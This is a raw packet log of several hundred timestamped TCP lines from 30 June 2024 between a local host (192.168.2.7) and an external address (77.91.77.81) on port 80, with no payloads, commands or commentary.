Jun 30, 2024 10:23:15.283471107 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.283480883 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.283493042 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.283494949 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.283499956 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.283505917 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.283510923 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.283596039 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.283649921 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.284288883 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.284303904 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.284313917 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.284324884 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.284343004 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.284358978 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.284364939 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.284389019 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.284420967 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.304637909 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.304680109 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.304692030 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.304718971 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.304748058 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.304831028 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.304841995 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.304851055 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.304862022 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.304872036 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.304876089 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.304894924 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.304910898 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.306575060 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.306632996 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.306655884 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.306665897 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.306695938 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.306785107 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.306796074 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.306806087 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.306816101 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.306828022 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.306854010 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.307226896 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307238102 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307249069 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307260990 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307271004 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.307271957 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307281971 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307286024 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.307315111 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.307885885 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307897091 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307905912 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307915926 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307928085 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307935953 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.307940960 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.307952881 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.307976007 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.308445930 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.308458090 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.308464050 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.308475018 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.308495998 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.308506966 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.308511972 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.308522940 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.308521986 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.308521986 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.308542967 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.308568954 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.309278011 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.309290886 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.309300900 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.309314966 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.309329033 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.309334040 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.309345007 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.309355021 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.309357882 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.309367895 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.309376955 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.309381008 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.309396982 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.309421062 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.310228109 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310240984 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310251951 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310262918 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310271978 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310286999 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310290098 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.310316086 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.310327053 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.310782909 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310795069 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310805082 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310816050 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310827017 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310833931 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.310838938 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310848951 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.310852051 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310863972 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.310864925 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.310898066 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.311697006 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311709881 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311718941 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311729908 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311741114 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311750889 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.311752081 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311765909 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311769009 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.311778069 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311789989 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311793089 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.311800957 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311805010 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.311813116 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311824083 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311834097 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.311837912 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.311862946 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.311878920 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.347912073 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.347932100 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.347951889 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.347963095 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.347965002 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.347974062 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.347985983 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.347990990 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.348001003 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.348095894 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.348220110 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.348237991 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.348257065 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.348279953 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.348407030 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.348419905 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.348431110 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.348450899 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.348474026 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.348665953 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.348676920 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.348686934 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.348701954 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.348720074 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.379229069 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.379261971 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.379273891 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.379407883 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.379950047 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.379962921 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.379973888 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.379983902 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.379995108 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380004883 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.380004883 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380017042 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380028009 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.380028963 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380040884 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380045891 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.380053043 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380062103 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.380064011 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380078077 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380090952 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.380120039 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.380867004 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380882978 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380892992 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380903959 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380914927 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380919933 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.380925894 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380934954 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.380938053 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380949974 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380951881 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.380963087 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.380979061 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.381001949 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.381680965 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.381692886 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.381704092 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.381731033 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.381745100 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.400815964 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.400841951 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.400857925 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.400870085 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.400882006 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.400893927 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.400907993 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.400970936 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401020050 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.401053905 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401062012 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.401067972 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401082039 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401092052 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.401093960 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401110888 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.401135921 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.401609898 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401623011 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401633978 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401645899 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401655912 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401659966 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.401679039 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.401690960 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.401707888 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.402250051 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.402261972 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.402276039 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.402287006 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.402297020 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.402297974 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.402312994 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.402323008 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.402323961 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.402338028 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.402338982 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.402369976 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.403173923 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.403183937 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.403192997 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.403204918 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.403214931 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.403219938 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.403224945 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.403233051 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.403238058 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.403249025 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.403249025 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.403259993 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.403278112 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.403305054 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.404176950 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.404190063 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.404198885 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.404210091 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.404220104 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.404226065 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.404232025 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.404242992 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.404248953 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.404253006 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.404263973 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.404268026 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.404287100 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.404304028 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.405015945 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405028105 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405036926 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405047894 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405060053 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405062914 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.405071974 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405082941 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405088902 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.405093908 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405105114 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405106068 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.405117035 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405128002 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.405136108 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.405162096 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.405916929 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405930042 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405940056 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405951023 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405961037 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405967951 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.405972004 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405983925 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.405994892 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.405994892 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.406007051 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.406009912 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.406037092 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.406774044 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.406785965 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.406795025 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.406806946 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.406824112 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.406843901 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.443980932 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444015026 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444025040 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444102049 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.444147110 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.444165945 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444179058 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444190979 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444200993 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.444224119 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.444905043 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444915056 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444924116 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444937944 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444948912 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444955111 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.444962978 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.444972992 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.444988966 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.445014000 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.445036888 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.445048094 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.445079088 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.445094109 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.445111036 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.472093105 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.472110033 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.472121000 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.472218990 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.472229958 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.472230911 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.472239971 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.472251892 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.472280025 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.472301006 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.472512960 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.472558022 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:15.473038912 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.473051071 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:15.473061085 CEST	80	57433	77.91.77.81	192.168.2.7
